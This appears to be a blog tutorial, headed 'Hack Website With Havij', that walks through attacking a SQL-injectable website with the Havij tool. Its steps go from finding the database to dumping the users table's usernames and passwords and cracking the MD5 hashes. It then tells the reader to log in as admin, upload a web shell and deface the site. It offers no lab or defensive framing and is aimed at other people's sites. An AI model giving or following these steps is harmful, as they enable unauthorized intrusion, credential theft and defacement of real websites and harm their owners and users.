<span style="background-color: black; color: white;">Now Let's start<br /><br />Open havij and copy and paste infected link as shown in figure<br /><br />Now Let's start<br /><br />Open havij and copy and paste infected link as shown in figure<br /><br /><img alt="[Image: 1.jpg]" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEii3Aeo36x_iorU9CR7rFvUX2UYVnE4TWlKt_8YTJRPx9yCe2c6HDJYTRPT6KUTO3EUV_ae2sbhtQs-3Vif4kC4E7P7K6K6tFU7hELMvb-Uuj4V9LXgEfDTEPDfOjGZRM4gIChHpqI_3vk/s1600/1.jpg" /><br /><br /><br />Now click in the "Analyze"<br /><br /><br /><img alt="[Image: 2.jpg]" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVKVhQHQ3RzTGP7YjxmbVjxm35TntopfjH2YUTL2jigCFWc02W3m-wLWIgWoLSxYCcWzzt1rmgHXp-d2ZIrG3xzZTt9jOZ0Nj4EjLWGgMKjHOWpFoIiG7EvFNccPhge0xHO23L6YXz5oc/s1600/2.jpg" /><br /><br /><br /><br />Then It shows some messages there....Be alert on it and be show patience for sometime to find it's vulernable and type of injection and if db server is mysql and it will find database name.Then after get it's database is name like xxxx_xxxx<br /><br /><br /><img alt="[Image: 3.jpg]" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQu8GGDDBJvnNph3vrDyCoCWwuZ8ODuql8-Yx_yNG_WV-z4eMUzmPUgRBtRlg7E3BkBAqH9-jeICveoTmc0Hr45jhvCcv8EWE4E4Wkx6_wy5gVdF8pEhX9t7k_UbsBw-2SXN0v15xGWv0/s1600/3.jpg" /><br /><br /><br />Then Move to another operation to find tables by clicking "tables" as figure shown.Now click "Get tables" Then wait some time if needed<br /><br /><br /><img alt="[Image: 4.jpg]" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1ZIsiT5l_RCpZD_VBZK06RkjpwYw2tZm8q0S3Hxt9wBfq4Bt8Di6SMAyDoJV2CX58YVO0OAph6ldoMTl1SR5xi7PolmlYxMuscyGp53dMfFVBXOzhR9YgsPJTlhv6KeNW0kBpM1ygPyc/s1600/4.jpg" /><br /><br /><br />After founded the tables ,you can see there will be "users" Put mark on it and click in the " get columns " tab as shown in figure<br /><br /><br /><img alt="[Image: 5.jpg]" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZsvzJpxqUM9x4UiVLluLl5FQfH3JU0Ep_C6WIG-_hLKM7NOAXk0iyenows52rCkEDvSEHkGCvJrBs6FWMfKp0pDB86CceLgbnv6JkKZ3xYzqrI-Hksip89Ts0BVdmG98Jb6TMfi3M8kQ/s1600/5.jpg" /><br /><br /><br />In that Just put mark username and password and click "Get data"<br /><br /><img alt="[Image: 6.jpg]" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDxj0oVuVZOTDneTHw1QJirEsPeZhyphenhyphenmbolE5p9znlGs2tUYfmnEDv9HNmUuFoS0v6W39NB9XrT1YOEpbkLhuSkfFqmvrTRCzuWV0CXhuRGlcZjbyQRGhlBZtVwAhONY7gDs7PW5VP6K-I/s1600/6.jpg" /><br /><br />Bingo Got now id and pass that may be admin...<br />The pass will get as md5 you can crack it also using this tool as shown in figure...<br /><br /><img alt="[Image: 7.jpg]" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUayVAM4yh6UJBUfchiH2cdn01u_Viz0vHQH2IFbIBjQsINz-FLohvUIdKjYS-sIan2AyRzP52zl9XbB3kldzKSJkllQKXAWDnvkcv_s5XVTCVnpSYWLmB57Klpi9_oBPhhQBo_vLgE8w/s1600/7.jpg" /><br /><br />And Thats It</span><br />
<div style="padding-bottom: 5px; padding-left: 0px; padding-right: 0px; padding-top: 5px;">
<span style="background-color: black; color: white;">Now simply go to the admin page</span></div>
<div style="padding-bottom: 5px; padding-left: 0px; padding-right: 0px; padding-top: 5px;">
<span style="background-color: black; color: white;">log in</span></div>
<div style="padding-bottom: 5px; padding-left: 0px; padding-right: 0px; padding-top: 5px;">
<span style="background-color: black; color: white;">and search for browse option where u can upload ur shell and deface it</span></div>
</div>

Hack Website With Havij Best Tut By Mr-Pakistan

Remember Post is Copy Right With Admin: First You Will Require Havij Download havij 1.10 First Find a sqli infected site .Now here i foun...